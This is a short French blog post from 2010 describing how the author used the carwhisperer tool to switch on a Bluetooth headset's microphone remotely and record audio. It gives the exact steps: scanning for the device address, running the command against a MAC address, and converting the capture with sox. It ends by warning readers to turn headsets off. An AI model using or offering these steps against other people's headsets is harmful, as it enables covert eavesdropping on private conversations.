Thursday 9 September 2010

carwhisperer pour écouter des oreillettes bluetooth

L'autre jour je testais mon oreillette bluetooth et je suis tombé sur une vidéo (http://www.youtube.com/watch?v=1c-jzYAH2gw) nous expliquant la facilité avec laquelle nous pouvons écouter des oreillettes bluetooth.

C'est parti, j'allume mon oreillette bluetooth, je compile carwhisperer (http://trifinite.org/trifinite_stuff_carwhisperer.html) et j'ai quelques soucis avec les fichiers audio raw.

Après quelques minutes de recherche voici la marche à suivre exact:

- Créer un fichier silence raw 16 bits  (avec audacity par exemple), appelons le "input-signed16bit-pcm-120sec.raw"
- utiliser ./cw_scanner pour trouver l'adresse de l'oreillette
- ./carwhisperer hci0 input-signed16bit-pcm-120sec.raw output_test.raw 00:0D:FD:0F:A3:96
- Ceci active l'oreillette et envoie un silence de 120 sec, pendant ces 120 secondes on peut enregistrer les sons à travers le micro de l'oreillette (dans output_test.raw).
- Pour transformer le raw en wav:  sox -V -r 44100 -2 -c 2 -s output_test.raw output_test.wav

Attention, ça ne fonctionne pas si l'oreillette est déjà "pairée" avec un appareil. Si quelqu'un sait pourquoi n'hésitez pas à commenter. Ceci permettrai également d'écouter une conversation en cours.

Ce petit test nous montre la simplicité avec laquelle on peut activer le micro à distance et certainement écouter des communications (?). N'oubliez pas d'éteindre vos oreillettes lorsque vous les utilisez pas ! :)